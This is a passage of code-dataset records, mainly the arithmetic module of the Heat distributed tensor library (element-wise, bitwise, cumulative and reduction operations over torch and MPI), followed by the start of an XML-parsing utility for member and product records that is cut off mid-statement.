"line_number": 223, "usage_type": "name"}, {"api_name": "allennlp.data.dataset_readers.dataset_reader.DatasetReader.register", "line_number": 25, "usage_type": "call"}, {"api_name": "allennlp.data.dataset_readers.dataset_reader.DatasetReader", "line_number": 25, "usage_type": "name"}]}
{"seq_id": "40307271244", "text": "import torch\n\nfrom .communication import MPI\nfrom . import dndarray\nfrom . import factories\nfrom . import manipulations\nfrom . import _operations\nfrom . import stride_tricks\nfrom . import types\n\n__all__ = [\n    \"add\",\n    \"bitwise_and\",\n    \"bitwise_not\",\n    \"bitwise_or\",\n    \"bitwise_xor\",\n    \"cumprod\",\n    \"cumproduct\",\n    \"cumsum\",\n    \"diff\",\n    \"div\",\n    \"divide\",\n    \"floordiv\",\n    \"floor_divide\",\n    \"fmod\",\n    \"invert\",\n    \"left_shift\",\n    \"mod\",\n    \"mul\",\n    \"multiply\",\n    \"pow\",\n    \"power\",\n    \"prod\",\n    \"remainder\",\n    \"right_shift\",\n    \"sub\",\n    \"subtract\",\n    \"sum\",\n]\n\n\ndef add(t1, t2):\n    \"\"\"\n    Element-wise addition of values from two operands, commutative.\n    Takes the first and second operand (scalar or tensor) whose elements are to be added as argument.\n\n    Parameters\n    ----------\n    t1: tensor or scalar\n        The first operand involved in the addition\n    t2: tensor or scalar\n        The second operand involved in the addition\n\n    Returns\n    -------\n    result: ht.DNDarray\n        A tensor containing the results of element-wise addition of t1 and t2.\n\n    Examples:\n    ---------\n    >>> import heat as ht\n    >>> ht.add(1.0, 4.0)\n    tensor([5.])\n\n    >>> T1 = ht.float32([[1, 2], [3, 4]])\n    >>> T2 = ht.float32([[2, 2], [2, 2]])\n    >>> ht.add(T1, T2)\n    tensor([[3., 4.],\n            [5., 6.]])\n\n    >>> s = 2.0\n    >>> ht.add(T1, s)\n    tensor([[3., 4.],\n            [5., 6.]])\n\n    \"\"\"\n    return _operations.__binary_op(torch.add, t1, t2)\n\n\ndef bitwise_and(t1, t2):\n    \"\"\"\n    Compute the bit-wise AND of two arrays element-wise.\n\n    Parameters\n    ----------\n    t1, t2: tensor or scalar\n        Only integer and boolean types are handled. If x1.shape != x2.shape, they must be broadcastable to a common shape (which becomes the shape of the output).\n\n    Returns\n    -------\n    result: ht.DNDarray\n        A tensor containing the results of element-wise AND of t1 and t2.\n\n    Examples:\n    ---------\n    import heat as ht\n    >>> ht.bitwise_and(13, 17)\n    tensor([1])\n    >>> ht.bitwise_and(14, 13)\n    tensor([12])\n\n    >>> ht.bitwise_and(ht.array([14,3]), 13)\n    tensor([12,  1])\n\n    >>> ht.bitwise_and(ht.array([11,7]), ht.array([4,25]))\n    tensor([0, 1])\n    >>> ht.bitwise_and(ht.array([2,5,255]), ht.array([3,14,16]))\n    tensor([ 2,  4, 16])\n\n    >>> ht.bitwise_and(ht.array([True, True]), ht.array([False, True]))\n    tensor([False,  True])\n    \"\"\"\n    dtypes = (types.heat_type_of(t1), types.heat_type_of(t2))\n\n    for dtype in dtypes:\n        if types.heat_type_is_inexact(dtype):\n            raise TypeError(\"Operation is not supported for float types\")\n\n    return _operations.__binary_op(torch.Tensor.__and__, t1, t2)\n\n\ndef bitwise_or(t1, t2):\n    \"\"\"\n    Compute the bit-wise OR of two arrays element-wise.\n\n    Parameters\n    ----------\n    t1, t2: tensor or scalar\n       Only integer and boolean types are handled. If x1.shape != x2.shape, they must be broadcastable to a common shape (which becomes the shape of the output).\n\n    Returns\n    -------\n    result: ht.DNDArray\n       A tensor containing the results of element-wise OR of t1 and t2.\n\n    Examples:\n    ---------\n    import heat as ht\n    >>> ht.bitwise_or(13, 16)\n    tensor([29])\n\n    >>> ht.bitwise_or(32, 2)\n    tensor([34])\n    >>> ht.bitwise_or(ht.array([33, 4]), 1)\n    tensor([33,  5])\n    >>> ht.bitwise_or(ht.array([33, 4]), ht.array([1, 2]))\n    tensor([33,  6])\n\n    >>> ht.bitwise_or(ht.array([2, 5, 255]), ht.array([4, 4, 4]))\n    tensor([  6,   5, 255])\n    >>> ht.bitwise_or(ht.array([2, 5, 255, 2147483647], dtype=ht.int32),\n    ...               ht.array([4, 4, 4, 2147483647], dtype=ht.int32))\n    tensor([         6,          5,        255, 2147483647])\n    >>> ht.bitwise_or(ht.array([True, True]), ht.array([False, True]))\n    tensor([ True,  True])\n    \"\"\"\n    dtypes = (types.heat_type_of(t1), types.heat_type_of(t2))\n\n    for dtype in dtypes:\n        if types.heat_type_is_inexact(dtype):\n            raise TypeError(\"Operation is not supported for float types\")\n\n    return _operations.__binary_op(torch.Tensor.__or__, t1, t2)\n\n\ndef bitwise_xor(t1, t2):\n    \"\"\"\n    Compute the bit-wise XOR of two arrays element-wise.\n\n    Parameters\n    ----------\n    t1, t2: tensor or scalar\n       Only integer and boolean types are handled. If x1.shape != x2.shape, they must be broadcastable to a common shape (which becomes the shape of the output).\n\n    Returns\n    -------\n    result: ht.DNDArray\n       A tensor containing the results of element-wise OR of t1 and t2.\n\n    Examples:\n    ---------\n    import heat as ht\n    >>> ht.bitwise_xor(13, 17)\n    tensor([28])\n\n    >>> ht.bitwise_xor(31, 5)\n    tensor([26])\n    >>> ht.bitwise_xor(ht.array[31,3], 5)\n    tensor([26,  6])\n\n    >>> ht.bitwise_xor(ht.array([31,3]), ht.array([5,6]))\n    tensor([26,  5])\n    >>> ht.bitwise_xor(ht.array([True, True]), ht.array([False, True]))\n    tensor([ True, False])\n    \"\"\"\n    dtypes = (types.heat_type_of(t1), types.heat_type_of(t2))\n\n    for dtype in dtypes:\n        if types.heat_type_is_inexact(dtype):\n            raise TypeError(\"Operation is not supported for float types\")\n\n    return _operations.__binary_op(torch.Tensor.__xor__, t1, t2)\n\n\ndef cumprod(a, axis, dtype=None, out=None):\n    \"\"\"\n    Return the cumulative product of elements along a given axis.\n\n    Parameters\n    ----------\n    a : DNDarray\n        Input array.\n    axis : int\n        Axis along which the cumulative product is computed.\n    dtype : dtype, optional\n        Type of the returned array, as well as of the accumulator in which\n        the elements are multiplied.  If *dtype* is not specified, it\n        defaults to the dtype of `a`, unless `a` has an integer dtype with\n        a precision less than that of the default platform integer.  In\n        that case, the default platform integer is used instead.\n    out : DNDarray, optional\n        Alternative output array in which to place the result. It must\n        have the same shape and buffer length as the expected output\n        but the type of the resulting values will be cast if necessary.\n\n    Returns\n    -------\n    cumprod : DNDarray\n        A new array holding the result is returned unless `out` is\n        specified, in which case a reference to out is returned.\n\n    Examples\n    --------\n    >>> a = ht.full((3,3), 2)\n    >>> ht.cumprod(a, 0)\n    tensor([[2., 2., 2.],\n            [4., 4., 4.],\n            [8., 8., 8.])\n    \"\"\"\n    return _operations.__cum_op(a, torch.cumprod, MPI.PROD, torch.mul, 1, axis, dtype, out)\n\n\n# Alias support\ncumproduct = cumprod\n\n\ndef cumsum(a, axis, dtype=None, out=None):\n    \"\"\"\n    Return the cumulative sum of the elements along a given axis.\n\n    Parameters\n    ----------\n    a : DNDarray\n        Input array.\n    axis : int\n        Axis along which the cumulative sum is computed.\n    dtype : dtype, optional\n        Type of the returned array and of the accumulator in which the\n        elements are summed.  If `dtype` is not specified, it defaults\n        to the dtype of `a`, unless `a` has an integer dtype with a\n        precision less than that of the default platform integer.  In\n        that case, the default platform integer is used.\n    out : DNDarray, optional\n        Alternative output array in which to place the result. It must\n        have the same shape and buffer length as the expected output\n        but the type will be cast if necessary. See `doc.ufuncs`\n        (Section \"Output arguments\") for more details.\n\n    Returns\n    -------\n    cumsum : DNDarray\n        A new array holding the result is returned unless `out` is\n        specified, in which case a reference to out is returned.\n\n    Examples\n    --------\n    >>> a = ht.ones((3,3))\n    >>> ht.cumsum(a, 0)\n    tensor([[1., 1., 1.],\n            [2., 2., 2.],\n            [3., 3., 3.])\n    \"\"\"\n    return _operations.__cum_op(a, torch.cumsum, MPI.SUM, torch.add, 0, axis, dtype, out)\n\n\ndef diff(a, n=1, axis=-1, prepend=None, append=None):\n    \"\"\"\n    Calculate the n-th discrete difference along the given axis.\n    The first difference is given by out[i] = a[i+1] - a[i] along the given axis, higher differences are calculated by using diff recursively.\n\n    a : DNDarray\n        Input array\n    n : int, optional\n        The number of times values are differenced. If zero, the input is returned as-is.\n        Default value is 1\n        n=2 is equivalent to ht.diff(ht.diff(a))\n    axis : int, optional\n        The axis along which the difference is taken, default is the last axis.\n    prepend, append : Optional[int, float, DNDarray]\n        Values to prepend or append along axis prior to performing the difference.\n        Scalar values are expanded to arrays with length 1 in the direction of axis and\n        the shape of the input array in along all other axes. Otherwise the dimension and\n        shape must match a except along axis.\n\n    Returns\n    -------\n    diff : DNDarray\n        The n-th differences. The shape of the output is the same as a except along axis where the dimension is smaller by n.\n        The type of the output is the same as the type of the difference between any two elements of a.\n        The split does not change. The output array is balanced.\n    \"\"\"\n    if n == 0:\n        return a\n    if n < 0:\n        raise ValueError(\"diff requires that n be a positive number, got {}\".format(n))\n    if not isinstance(a, dndarray.DNDarray):\n        raise TypeError(\"'a' must be a DNDarray\")\n\n    axis = stride_tricks.sanitize_axis(a.gshape, axis)\n\n    if prepend is not None or append is not None:\n        pend_shape = a.gshape[:axis] + (1,) + a.gshape[axis + 1 :]\n        pend = [prepend, append]\n\n        for p, p_el in enumerate(pend):\n            if p_el is not None:\n                if isinstance(p_el, (int, float)):\n                    # TODO: implement broadcast_to\n                    p_el = factories.full(\n                        pend_shape,\n                        p_el,\n                        dtype=types.canonical_heat_type(torch.tensor(p_el).dtype),\n                        split=a.split,\n                        device=a.device,\n                        comm=a.comm,\n                    )\n                elif isinstance(p_el, dndarray.DNDarray) and p_el.gshape == pend_shape:\n                    pass\n                elif not isinstance(p_el, dndarray.DNDarray):\n                    raise TypeError(\n                        \"prepend/append should be a scalar or a DNDarray, was {}\".format(type(p_el))\n                    )\n                elif p_el.gshape != pend_shape:\n                    raise ValueError(\n                        \"shape mismatch: expected prepend/append to be {}, got {}\".format(\n                            pend_shape, p_el.gshape\n                        )\n                    )\n                if p == 0:\n                    # prepend\n                    a = manipulations.concatenate((p_el, a), axis=axis)\n                else:\n                    # append\n                    a = manipulations.concatenate((a, p_el), axis=axis)\n\n    if not a.is_distributed():\n        ret = a.copy()\n        for _ in range(n):\n            axis_slice = [slice(None)] * len(ret.shape)\n            axis_slice[axis] = slice(1, None, None)\n            axis_slice_end = [slice(None)] * len(ret.shape)\n            axis_slice_end[axis] = slice(None, -1, None)\n            ret = ret[tuple(axis_slice)] - ret[tuple(axis_slice_end)]\n        return ret\n\n    size = a.comm.size\n    rank = a.comm.rank\n    ret = a.copy()\n    # work loop, runs n times. using the result at the end of the loop as the starting values for each loop\n    for _ in range(n):\n        axis_slice = [slice(None)] * len(ret.shape)\n        axis_slice[axis] = slice(1, None, None)\n        axis_slice_end = [slice(None)] * len(ret.shape)\n        axis_slice_end[axis] = slice(None, -1, None)\n\n        # build the slice for the first element on the specified axis\n        arb_slice = [slice(None)] * len(a.shape)\n        arb_slice[axis] = 0\n        # send the first element of the array to rank - 1\n        if rank > 0:\n            snd = ret.comm.Isend(ret.lloc[arb_slice].clone(), dest=rank - 1, tag=rank)\n\n        # standard logic for the diff with the next element\n        dif = ret.lloc[axis_slice] - ret.lloc[axis_slice_end]\n        # need to slice out to select the proper elements of out\n        diff_slice = [slice(x) for x in dif.shape]\n        ret.lloc[diff_slice] = dif\n\n        if rank > 0:\n            snd.Wait()  # wait for the send to finish\n        if rank < size - 1:\n            cr_slice = [slice(None)] * len(a.shape)\n            # slice of 1 element in the selected axis for the shape creation\n            cr_slice[axis] = 1\n            recv_data = torch.ones(\n                ret.lloc[cr_slice].shape, dtype=ret.dtype.torch_type(), device=a.device.torch_device\n            )\n            rec = ret.comm.Irecv(recv_data, source=rank + 1, tag=rank + 1)\n            axis_slice_end = [slice(None)] * len(a.shape)\n            # select the last elements in the selected axis\n            axis_slice_end[axis] = slice(-1, None)\n            rec.Wait()\n            # diff logic\n            ret.lloc[axis_slice_end] = (\n                recv_data.reshape(ret.lloc[axis_slice_end].shape) - ret.lloc[axis_slice_end]\n            )\n\n    axis_slice_end = [slice(None, None, None)] * len(a.shape)\n    axis_slice_end[axis] = slice(None, -1 * n, None)\n    ret = ret[tuple(axis_slice_end)]  # slice off the last element on the array (nonsense data)\n    ret.balance_()  # balance the array before returning\n    return ret\n\n\ndef div(t1, t2):\n    \"\"\"\n    Element-wise true division of values of operand t1 by values of operands t2 (i.e t1 / t2), not commutative.\n    Takes the two operands (scalar or tensor) whose elements are to be divided (operand 1 by operand 2)\n    as argument.\n\n    Parameters\n    ----------\n    t1: tensor or scalar\n        The first operand whose values are divided\n    t2: tensor or scalar\n        The second operand by whose values is divided\n\n    Returns\n    -------\n    result: ht.DNDarray\n        A tensor containing the results of element-wise true division (i.e. floating point values) of t1 by t2.\n\n    Examples:\n    ---------\n    >>> import heat as ht\n    >>> ht.div(2.0, 2.0)\n    tensor([1.])\n\n    >>> T1 = ht.float32([[1, 2], [3, 4]])\n    >>> T2 = ht.float32([[2, 2], [2, 2]])\n    >>> ht.div(T1, T2)\n    tensor([[0.5000, 1.0000],\n            [1.5000, 2.0000]])\n\n    >>> s = 2.0\n    >>> ht.div(s, T1)\n    tensor([[2.0000, 1.0000],\n            [0.6667, 0.5000]])\n    \"\"\"\n    return _operations.__binary_op(torch.true_divide, t1, t2)\n\n\n# Alias in compliance with numpy API\ndivide = div\n\n\ndef fmod(t1, t2):\n    \"\"\"\n    Element-wise division remainder of values of operand t1 by values of operand t2 (i.e. C Library function fmod), not commutative.\n    Takes the two operands (scalar or tensor, both may contain floating point number) whose elements are to be\n    divided (operand 1 by operand 2) as arguments.\n\n    Parameters\n    ----------\n    t1: tensor or scalar\n        The first operand whose values are divided (may be floats)\n    t2: tensor or scalar\n        The second operand by whose values is divided (may be floats)\n\n    Returns\n    -------\n    result: ht.DNDarray\n        A tensor containing the remainder of the element-wise division (i.e. floating point values) of t1 by t2.\n        It has the sign as the dividend t1.\n\n    Examples:\n    ---------\n    >>> import heat as ht\n    >>> ht.fmod(2.0, 2.0)\n    tensor([0.])\n\n    >>> T1 = ht.float32([[1, 2], [3, 4]])\n    >>> T2 = ht.float32([[2, 2], [2, 2]])\n    >>> ht.fmod(T1, T2)\n    tensor([[1., 0.],\n            [1., 0.]])\n\n    >>> s = 2.0\n    >>> ht.fmod(s, T1)\n    tensor([[0., 0.]\n            [2., 2.]])\n    \"\"\"\n    return _operations.__binary_op(torch.fmod, t1, t2)\n\n\ndef floordiv(t1, t2):\n    \"\"\"\n    Element-wise floor division of value of operand t1 by values of operands t2 (i.e. t1 // t2), not commutative.\n    Takes the two operands (scalar or tensor) whose elements are to be divided (operand 1 by operand 2) as argument.\n\n    Parameters\n    ----------\n    t1: tensor or scalar\n        The first operand whose values are divided\n    t2: tensor or scalar\n        The second operand by whose values is divided\n\n    Return\n    ------\n    result: ht.DNDarray\n        A tensor containing the results of element-wise floor division (integer values) of t1 by t2.\n\n    Examples:\n    ---------\n    >>> import heat as ht\n    >>> T1 = ht.float32([[1.7, 2.0], [1.9, 4.2]])\n    >>> ht.floordiv(T1, 1)\n    tensor([[1., 2.],\n            [1., 4.]])\n    >>> T2 = ht.float32([1.5, 2.5])\n    >>> ht.floordiv(T1, T2)\n    tensor([[1., 0.],\n            [1., 1.]])\n    \"\"\"\n    return _operations.__binary_op(torch.floor_divide, t1, t2)\n\n\n# Alias in compliance with numpy API\nfloor_divide = floordiv\n\n\ndef invert(t, out=None):\n    \"\"\"\n    Computes the bitwise NOT of the given input tensor. The input tensor must be of integral or Boolean types. For bool tensors, it computes the logical NOT.\n    Bitwise_not is an alias for invert.\n\n    Returns\n        -------\n        result: ht.DNDarray\n            A tensor containing the results of element-wise inversion.\n\n    Examples:\n    ---------\n    >>> ht.invert(ht.array([13], dtype=ht.uint8))\n    tensor([242], dtype=ht.uint8)\n    >>> ht.bitwise_not(ht.array([-1, -2, 3], dtype=ht.int8))\n    tensor([ 0,  1, -4], dtype=ht.int8)\n    \"\"\"\n    dtype = types.heat_type_of(t)\n\n    if types.heat_type_is_inexact(dtype):\n        raise TypeError(\"Operation is not supported for float types\")\n\n    return _operations.__local_op(torch.bitwise_not, t, out, no_cast=True)\n\n\n# alias for invert\nbitwise_not = invert\n\n\ndef left_shift(t1, t2):\n    \"\"\"\n    Shift the bits of an integer to the left.\n\n    Parameters\n    ----------\n    t1: scalar or tensor\n\n    t2: scalar or tensor\n        integer number of zero bits to add\n\n    Returns\n    -------\n    result: ht.NDNarray\n        A tensor containing the results of element-wise left shift operation.\n\n    Examples:\n    ---------\n    >>> ht.left_shift(ht.array[1,2,3], 1)\n    tensor([2, 4, 6])\n    \"\"\"\n    dtypes = (types.heat_type_of(t1), types.heat_type_of(t2))\n\n    for dtype in dtypes:\n        if not types.heat_type_is_exact(dtype):\n            raise TypeError(\"Operation is supported for integer types only\")\n\n    return _operations.__binary_op(torch.Tensor.__lshift__, t1, t2)\n\n\ndef mod(t1, t2):\n    \"\"\"\n    Element-wise division remainder of values of operand t1 by values of operand t2 (i.e. t1 % t2), not commutative.\n    Takes the two operands (scalar or tensor) whose elements are to be divided (operand 1 by operand 2) as arguments.\n\n    Currently t1 and t2 are just passed to remainder.\n\n    Parameters\n    ----------\n    t1: tensor or scalar\n        The first operand whose values are divided\n    t2: tensor or scalar\n        The second operand by whose values is divided\n\n    Returns\n    -------\n    result: ht.DNDarray\n        A tensor containing the remainder of the element-wise division of t1 by t2.\n        It has the same sign as the devisor t2.\n\n    Examples:\n    ---------\n    >>> import heat as ht\n    >>> ht.mod(2, 2)\n    tensor([0])\n\n    >>> T1 = ht.int32([[1, 2], [3, 4]])\n    >>> T2 = ht.int32([[2, 2], [2, 2]])\n    >>> ht.mod(T1, T2)\n    tensor([[1, 0],\n            [1, 0]], dtype=torch.int32)\n\n    >>> s = 2\n    >>> ht.mod(s, T1)\n    tensor([[0, 0]\n            [2, 2]], dtype=torch.int32)\n    \"\"\"\n    return remainder(t1, t2)\n\n\ndef mul(t1, t2):\n    \"\"\"\n    Element-wise multiplication (NOT matrix multiplication) of values from two operands, commutative.\n    Takes the first and second operand (scalar or tensor) whose elements are to be multiplied as argument.\n\n    Parameters\n    ----------\n    t1: tensor or scalar\n        The first operand involved in the multiplication\n    t2: tensor or scalar\n        The second operand involved in the multiplication\n\n    Returns\n    -------\n    result: ht.DNDarray\n        A tensor containing the results of element-wise multiplication of t1 and t2.\n\n    Examples:\n    ---------\n    >>> import heat as ht\n    >>> ht.mul(2.0, 4.0)\n    tensor([8.])\n\n    >>> T1 = ht.float32([[1, 2], [3, 4]])\n    >>> s = 3.0\n    >>> ht.mul(T1, s)\n    tensor([[3., 6.],\n            [9., 12.]])\n\n    >>> T2 = ht.float32([[2, 2], [2, 2]])\n    >>> ht.mul(T1, T2)\n    tensor([[2., 4.],\n            [6., 8.]])\n\n    >>> T2 = ht.float32([[2, 2], [2, 2]])\n    >>> ht.mul(T1, T2)\n    tensor([[2., 4.],\n            [6., 8.]])\n    \"\"\"\n    return _operations.__binary_op(torch.mul, t1, t2)\n\n\n# Alias in compliance with numpy API\nmultiply = mul\n\n\ndef pow(t1, t2):\n    \"\"\"\n    Element-wise exponential function of values of operand t1 to the power of values of operand t2 (i.e t1 ** t2),\n    not commutative. Takes the two operands (scalar or tensor) whose elements are to be involved in the exponential\n    function(operand 1 to the power of operand 2)\n    as argument.\n\n    Parameters\n    ----------\n    t1: tensor or scalar\n        The first operand whose values represent the base\n    t2: tensor or scalar\n        The second operand by whose values represent the exponent\n\n    Returns\n    -------\n    result: ht.DNDarray\n        A tensor containing the results of element-wise exponential function.\n\n    Examples:\n    ---------\n    >>> import heat as ht\n    >>> ht.pow (3.0, 2.0)\n    tensor([9.])\n\n    >>> T1 = ht.float32([[1, 2], [3, 4]])\n    >>> T2 = ht.float32([[3, 3], [2, 2]])\n    >>> ht.pow(T1, T2)\n    tensor([[1., 8.],\n            [9., 16.]])\n    >>> s = 3.0\n    >>> ht.pow(T1, s)\n    tensor([[1., 8.],\n            [27., 64.]])\n    \"\"\"\n    return _operations.__binary_op(torch.pow, t1, t2)\n\n\n# Alias in compliance with numpy API\npower = pow\n\n\ndef remainder(t1, t2):\n    \"\"\"\n    Element-wise division remainder of values of operand t1 by values of operand t2 (i.e. t1 % t2), not commutative.\n    Takes the two operands (scalar or tensor) whose elements are to be divided (operand 1 by operand 2) as arguments.\n\n    Parameters\n    ----------\n    t1: tensor or scalar\n        The first operand whose values are divided\n    t2: tensor or scalar\n        The second operand by whose values is divided\n\n    Returns\n    -------\n    result: ht.DNDarray\n        A tensor containing the remainder of the element-wise division of t1 by t2.\n        It has the same sign as the devisor t2.\n\n    Examples:\n    ---------\n    >>> import heat as ht\n    >>> ht.mod(2, 2)\n    tensor([0])\n\n    >>> T1 = ht.int32([[1, 2], [3, 4]])\n    >>> T2 = ht.int32([[2, 2], [2, 2]])\n    >>> ht.mod(T1, T2)\n    tensor([[1, 0],\n            [1, 0]], dtype=torch.int32)\n\n    >>> s = 2\n    >>> ht.mod(s, T1)\n    tensor([[0, 0]\n            [2, 2]], dtype=torch.int32)\n    \"\"\"\n    return _operations.__binary_op(torch.remainder, t1, t2)\n\n\ndef right_shift(t1, t2):\n    \"\"\"\n    Shift the bits of an integer to the right.\n\n    Parameters\n    ----------\n    t1: scalar or tensor\n\n    t2: scalar or tensor\n        integer number of bits to remove\n\n    Returns\n    -------\n    result: ht.NDNarray\n        A tensor containing the results of element-wise right shift operation.\n\n    Examples:\n    ---------\n    >>> ht.right_shift(ht.array[1,2,3], 1)\n    tensor([0, 1, 1])\n    \"\"\"\n    dtypes = (types.heat_type_of(t1), types.heat_type_of(t2))\n\n    for dtype in dtypes:\n        if not types.heat_type_is_exact(dtype):\n            raise TypeError(\"Operation is supported for integer types only\")\n\n    return _operations.__binary_op(torch.Tensor.__rshift__, t1, t2)\n\n\ndef prod(x, axis=None, out=None, keepdim=None):\n    \"\"\"\n    Return the product of array elements over a given axis.\n\n    Parameters\n    ----------\n    x : ht.DNDarray\n        Input data.\n    axis : None or int or tuple of ints, optional\n        Axis or axes along which a product is performed. The default, axis=None, will calculate the product of all the\n        elements in the input array. If axis is negative it counts from the last to the first axis.\n\n        If axis is a tuple of ints, a product is performed on all of the axes specified in the tuple instead of a single\n        axis or all the axes as before.\n    out : ndarray, optional\n        Alternative output tensor in which to place the result. It must have the same shape as the expected output, but\n        the type of the output values will be cast if necessary.\n    keepdims : bool, optional\n        If this is set to True, the axes which are reduced are left in the result as dimensions with size one. With this\n        option, the result will broadcast correctly against the input array.\n\n    Returns\n    -------\n    product_along_axis : ht.DNDarray\n        An array shaped as a but with the specified axis removed. Returns a reference to out if specified.\n\n    Examples\n    --------\n    >>> import heat as ht\n    >>> ht.prod([1.,2.])\n    ht.tensor([2.0])\n\n    >>> ht.prod([\n        [1.,2.],\n        [3.,4.]\n    ])\n    ht.tensor([24.0])\n\n    >>> ht.prod([\n        [1.,2.],\n        [3.,4.]\n    ], axis=1)\n    ht.tensor([  2.,  12.])\n    \"\"\"\n    return _operations.__reduce_op(\n        x, torch.prod, MPI.PROD, axis=axis, out=out, neutral=1, keepdim=keepdim\n    )\n\n\ndef sub(t1, t2):\n    \"\"\"\n    Element-wise subtraction of values of operand t2 from values of operands t1 (i.e t1 - t2), not commutative.\n    Takes the two operands (scalar or tensor) whose elements are to be subtracted (operand 2 from operand 1)\n    as argument.\n\n    Parameters\n    ----------\n    t1: tensor or scalar\n        The first operand from which values are subtracted\n    t2: tensor or scalar\n        The second operand whose values are subtracted\n\n    Returns\n    -------\n    result: ht.DNDarray\n        A tensor containing the results of element-wise subtraction of t1 and t2.\n\n    Examples:\n    ---------\n    >>> import heat as ht\n    >>> ht.sub(4.0, 1.0)\n    tensor([3.])\n\n    >>> T1 = ht.float32([[1, 2], [3, 4]])\n    >>> T2 = ht.float32([[2, 2], [2, 2]])\n    >>> ht.sub(T1, T2)\n    tensor([[-1., 0.],\n            [1., 2.]])\n\n    >>> s = 2.0\n    >>> ht.sub(s, T1)\n    tensor([[ 1.,  0.],\n            [-1., -2.]])\n    \"\"\"\n    return _operations.__binary_op(torch.sub, t1, t2)\n\n\n# Alias in compliance with numpy API\nsubtract = sub\n\n\ndef sum(x, axis=None, out=None, keepdim=None):\n    \"\"\"\n    Sum of array elements over a given axis.\n\n    Parameters\n    ----------\n    x : ht.DNDarray\n        Input data.\n    axis : None or int or tuple of ints, optional\n        Axis along which a sum is performed. The default, axis=None, will sum\n        all of the elements of the input array. If axis is negative it counts\n        from the last to the first axis.\n\n        If axis is a tuple of ints, a sum is performed on all of the axes specified\n        in the tuple instead of a single axis or all the axes as before.\n    out : ndarray, optional\n        Alternative output tensor in which to place the result. It must have the same shape as the expected output, but\n        the type of the output values will be cast if necessary.\n    keepdims : bool, optional\n        If this is set to True, the axes which are reduced are left in the result as dimensions with size one. With this\n        option, the result will broadcast correctly against the input array.\n\n    Returns\n    -------\n    sum_along_axis : ht.DNDarray\n        An array with the same shape as self.__array except for the specified axis which\n        becomes one, e.g. a.shape = (1, 2, 3) => ht.ones((1, 2, 3)).sum(axis=1).shape = (1, 1, 3)\n\n    Examples\n    --------\n    >>> ht.sum(ht.ones(2))\n    tensor([2.])\n\n    >>> ht.sum(ht.ones((3,3)))\n    tensor([9.])\n\n    >>> ht.sum(ht.ones((3,3)).astype(ht.int))\n    tensor([9])\n\n    >>> ht.sum(ht.ones((3,2,1)), axis=-3)\n    tensor([[[3.],\n             [3.]]])\n    \"\"\"\n    # TODO: make me more numpy API complete Issue #101\n    return _operations.__reduce_op(\n        x, torch.sum, MPI.SUM, axis=axis, out=out, neutral=0, keepdim=keepdim\n    )\n", "repo_name": "coquelin77/icml-repo", "sub_path": "heat/core/arithmetics.py", "file_name": "arithmetics.py", "file_ext": "py", "file_size_in_byte": 27882, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "torch.add", "line_number": 77, "usage_type": "attribute"}, {"api_name": "torch.Tensor", "line_number": 119, "usage_type": "attribute"}, {"api_name": "torch.Tensor", "line_number": 163, "usage_type": "attribute"}, {"api_name": "torch.Tensor", "line_number": 202, "usage_type": "attribute"}, {"api_name": "torch.cumprod", "line_number": 240, "usage_type": "attribute"}, {"api_name": "communication.MPI.PROD", "line_number": 240, "usage_type": "attribute"}, {"api_name": "communication.MPI", "line_number": 240, "usage_type": "name"}, {"api_name": "torch.mul", "line_number": 240, "usage_type": "attribute"}, {"api_name": "torch.cumsum", "line_number": 283, "usage_type": "attribute"}, {"api_name": "communication.MPI.SUM", "line_number": 283, "usage_type": "attribute"}, {"api_name": "communication.MPI", "line_number": 283, "usage_type": "name"}, {"api_name": "torch.add", "line_number": 283, "usage_type": "attribute"}, {"api_name": "torch.tensor", "line_number": 332, "usage_type": "call"}, {"api_name": "torch.ones", "line_number": 395, "usage_type": "call"}, {"api_name": "torch.true_divide", "line_number": 450, "usage_type": "attribute"}, {"api_name": "torch.fmod", "line_number": 493, "usage_type": "attribute"}, {"api_name": "torch.floor_divide", "line_number": 525, "usage_type": "attribute"}, {"api_name": "torch.bitwise_not", "line_number": 554, "usage_type": "attribute"}, {"api_name": "torch.Tensor", "line_number": 588, "usage_type": "attribute"}, {"api_name": "torch.mul", "line_number": 670, "usage_type": "attribute"}, {"api_name": "torch.pow", "line_number": 712, "usage_type": "attribute"}, {"api_name": "torch.remainder", "line_number": 754, "usage_type": "attribute"}, {"api_name": "torch.Tensor", "line_number": 784, "usage_type": "attribute"}, {"api_name": "torch.prod", "line_number": 832, "usage_type": "attribute"}, {"api_name": "communication.MPI.PROD", "line_number": 832, "usage_type": "attribute"}, {"api_name": "communication.MPI", "line_number": 832, "usage_type": "name"}, {"api_name": "torch.sub", "line_number": 871, "usage_type": "attribute"}, {"api_name": "torch.sum", "line_number": 923, "usage_type": "attribute"}, {"api_name": "communication.MPI.SUM", "line_number": 923, "usage_type": "attribute"}, {"api_name": "communication.MPI", "line_number": 923, "usage_type": "name"}]}
{"seq_id": "39387799658", "text": "import xml.etree.ElementTree as ET\nimport os\n\nfrom entities.member import Member\nfrom entities.mutzar import Mutzar\nfrom entities.maasik import Maasik\nfrom entities.member_personal_data import MemberPersonalData\n\nclass XmlUtils:\n\n\n    @classmethod\n    def parse_folder_to_member(cls,folder_name):\n\n        member = Member()\n\n        for filename in os.listdir(folder_name):\n            if filename[-4:] == '.xml' :\n                cls.parse_one_xml(member,folder_name+'\\\\'+filename)\n        \n        print(member)\n        return member\n        \n\n\n    @classmethod\n    def parse_one_xml(cls,member,filename):\n\n        tree = ET.parse(filename)\n        root = tree.getroot()\n\n        #fill pesonal data only if not exists\n        if member.member_personal_data == None :\n            member.member_personal_data = MemberPersonalData(\n                cls.read_one_cell(root,'./YeshutYatzran/Mutzarim/Mutzar/NetuneiMutzar/YeshutLakoach/MISPAR-ZIHUY-LAKOACH'),\n                cls.read_one_cell(root,'./YeshutYatzran/Mutzarim/Mutzar/NetuneiMutzar/YeshutLakoach/SHEM-PRATI'),\n                cls.read_one_cell(root,'./YeshutYatzran/Mutzarim/Mutzar/NetuneiMutzar/YeshutLakoach/SHEM-MISHPACHA'),\n                cls.read_one_cell(root,'./YeshutYatzran/Mutzarim/Mutzar/NetuneiMutzar/YeshutLakoach/TAARICH-LEYDA'))\n\n        mutzar = Mutzar(\n            cls.read_one_cell(root,'./YeshutYatzran/Mutzarim/Mutzar/NetuneiMutzar/SUG-MUTZAR'),\n            cls.read_one_cell(root,'./YeshutYatzran/Mutzarim/Mutzar/HeshbonotOPolisot/HeshbonOPolisa/SHEM-TOCHNIT'),\n            